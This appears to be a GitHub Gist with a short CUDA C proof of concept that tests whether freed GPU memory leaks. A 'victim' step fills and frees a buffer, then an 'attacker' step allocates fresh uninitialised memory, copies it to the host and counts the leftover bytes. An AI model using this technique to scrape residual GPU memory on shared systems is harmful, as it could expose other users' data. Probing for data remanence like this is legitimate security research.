Last active
December 19, 2020 01:16
-
-
Save edenidan/9201e037fb61c4d77dd7bfcf64e51388 to your computer and use it in GitHub Desktop.
Trying to leak data from GPU kernel/memory using CUDA
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include<stdio.h> | |
#include<malloc.h> | |
#include <cuda_runtime.h> | |
#include<time.h> | |
#include<Windows.h> | |
#include<math.h> | |
#define SIZE pow(10,9) | |
int main() | |
{ | |
unsigned char* a, * b; | |
cudaError_t e; | |
size_t free, total; | |
cudaMemGetInfo(&free, &total); | |
printf("Total memory: %d MB\n", (int)(total / pow(10, 6))); | |
printf("Free at initial state: %d MB\n", (int)(free / pow(10, 6))); | |
//alloc array | |
e = cudaMalloc(&a, SIZE * sizeof(unsigned char)); | |
//init with 0xff | |
cudaMemset(a, 255, SIZE); | |
//free array | |
cudaFree(a); | |
//victim ends | |
//attacker | |
long aSize = free / 2; | |
//alloc all of the memory | |
e = cudaMalloc(&b, aSize); | |
//copy to cpu | |
unsigned char* onCPU = (unsigned char*)malloc(aSize); | |
e = cudaMemcpy(onCPU, b, aSize, cudaMemcpyDeviceToHost); | |
cudaDeviceSynchronize(); | |
//analize data | |
long max = 0, seq = 0, ones = 0, zeros = 0, other = 0; | |
for (long i = 0; i < (aSize); i++) | |
{ | |
if (onCPU[i] == 255) | |
{ | |
ones++; | |
seq++; | |
} | |
else if (onCPU[i] == 0) | |
{ | |
seq = 0; | |
zeros++; | |
} | |
else | |
{ | |
seq = 0; | |
other++; | |
} | |
if (seq > max) | |
max = seq; | |
} | |
printf("max_seq: %ld, ones: %ld, zeros: %ld, other: %ld\n", max, ones, zeros, other); | |
cudaFree(a); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment